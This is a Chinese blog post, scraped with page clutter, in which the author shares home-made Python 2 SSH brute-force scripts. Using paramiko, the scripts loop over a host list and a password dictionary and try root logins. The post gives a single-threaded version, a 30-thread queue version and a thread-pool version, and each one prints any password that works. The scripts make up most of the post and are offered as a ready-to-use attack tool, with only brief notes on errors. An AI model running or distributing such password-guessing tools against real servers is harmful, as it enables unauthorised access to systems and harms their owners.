ssh爆破脚本
前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。
单线程:慢成狗-----
#coding:utf-8
#author:jwong
import threading
import os
import time
import paramiko
import sys
import Queue
import socket
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
def ssh_connect(host,pwd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
ssh.close()
print('破解成功!用户名:root' + '密码:' + pwd + ',ip:' + host)
except paramiko.AuthenticationException,e:
pass
except socket.error,e:
pass
# class ClassName(object):
# """docstring for ClassName"""
# def __init__(self, arg):
# super(ClassName, self).__init__()
# self.arg = arg
#
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
def open_file(path):
host = []
with open(path,'r') as f:
for line in f.readlines():
if line.strip('\n') == '':
continue
host.append(line.strip('\n'))
return host
hosts = open_file(host_file)
password = open_file(pass_file)
for host in hosts:
for pass12 in password:
print host
ssh_connect(host,pass12)
运行会出现:No handlers could be found for logger "paramiko.transport" 错误 ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko
多线程版本:
#coding:utf-8
import threading
import Queue
import paramiko
import socket
import os
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
paramiko.util.log_to_file("filename.log")
queue = Queue.Queue()
lock = threading.Lock()
def read_host_file(path):
hostlist = []
with open(path,'r') as f:
for line in f.readlines():
if line == '':
continue
line = socket.gethostbyname(line.strip())
hostlist.append(line)
return hostlist
def read_pass_file(path):
passlist = []
with open(path,'r') as f:
for line in f.readlines():
if line == '':
continue
passlist.append(line.strip())
return passlist
class SSH(threading.Thread):
"""docstring for SSH"""
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
# if self.queue.empty():
# break
host,pwd = self.queue.get()
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
ssh.close()
print('破解成功!用户名:root' + '密码:' + pwd + ',ip:' + host)
except paramiko.AuthenticationException,e:
pass
except socket.error,e:
pass
except:
pass
self.queue.task_done()
if __name__ == '__main__':
hosts = read_host_file(host_file)
passlist = read_pass_file(pass_file)
for i in range(30):
fuck_ssh = SSH(queue)
fuck_ssh.setDaemon(True)
fuck_ssh.start()
for host in hosts:
for pwd in passlist:
queue.put((host,pwd))
queue.join()
另一个模块实现:
#coding:utf-8 from multiprocessing.dummy import Pool as ThreadPool from functools import partial if __name__ == '__main__': hosts = read_host_file(host_file) passlist = read_pass_file(pass_file) for host in hosts: partial_user = partial(ssh_connect,host) pool = ThreadPool(20) pool.map(partial_user,passlist) pool.close() pool.join()
参考文献:
http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/
http://www.waitalone.cn/python-mysql-mult.html
http://www.waitalone.cn/python-brute-all.html
http://www.waitalone.cn/python-thread-map.html
ssh爆破脚本的更多相关文章
- python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
- SSH爆破应急响应
问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...
- 安装fail2ban,防止ssh爆破及cc攻击
背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6 宝塔) y ...
- Python Telnet弱口令爆破脚本及遇到的错误与问题
写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...
- 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本
20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...
- Python SSH爆破以及Python3线程池控制线程数
源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...
- CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击
准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...
- CentOS7防止CC攻击防止SSH爆破采取的措施
准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...
- python写批量weblogic爆破脚本
前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...
随机推荐
- 使用POI导出excel
引言:对于excel的导出,首先是将数据写到WorkBook中,然后将book以流的形式写出即可,看代码: public void exportResultInfo(String fileName,S ...
- ASP.NET MVC应用程序使用axd格式文件
ASP.NET MVC应用程序使用axd格式文件 axd格式文件,不管是在asp.net还是现在开发asp.net MVC应用程序,都是Insus.NET较喜欢使用的. 因为我们可以虚拟一个在应用程序 ...
- win8 客户端源码
博客园cnblogs for win8 托管到GitHub开源 中午研究了下GitHub ,然后把博客园cnblogs win8 客户端源码放到了上面. 源码网址是: https://github ...
- Linux学习-Linux历史(总结篇)
Linux之前,Unix的历史 1969年以前,一个伟大的梦想:Bell,MIT与GE的Multics系统 在此之前的计算机主机少,用户从多,程序是在读卡纸上打洞,光是等待.为了更加强化大型主机的功能 ...
- 高并发非自增ID如何设计?
博友们一起来讨论下高并发非自增ID如何设计? 底层是很重要的,我最近设计底层,通用底层. 我想跟大家谈论下这个话题: 如何在高并发环境下设计出一套好用的非自增ID的添加操作的解决方案?更新的操作我随机 ...
- VIJOS1107 求树的最长链
vijos1107环游大同80天 学习了一下求树的最长链的方法 最简单的思路就是两次dfs 两次dfs分别有什么用呢? 第一次dfs,求出某个任意的点能到达的最远的点 第二次dfs,从所搜到的最远的点 ...
- 牛顿法(Newton's Method)
Newton's Method 在求最优解时,前面很多地方都用梯度下降(Gradient Descent)的方法,但由于最优步长很难确定,可能会出现总是在最优解附近徘徊的情况,致使最优解的搜索过程很缓 ...
- IOS7学习之路十(百度地图API环境搭建)
百度地图官网的API开发教程链接:点击打开链接 我按照他的教程做的总出现"Apple Mach-O linker command failed with exit code 1"的 ...
- Group by Grouping
玩转数据库之 Group by Grouping 有的时候我们要从数据库里把数据组织成树结构再展现到页面上 像下面这样 今天我们用Group 和Grouping实现它,并总结一下它俩. 先看一下概念, ...
- 百度地图定位SDK 之构想
百度地图定位 前提 从香港旅游回来,心中油然升起一股热血滂湃,激励自己发现市场需求,向创业奋进,朝着梦想前进. 简介 百度Android定位SDK支持Android1.5以及以上设备,提供: 定位功能 ...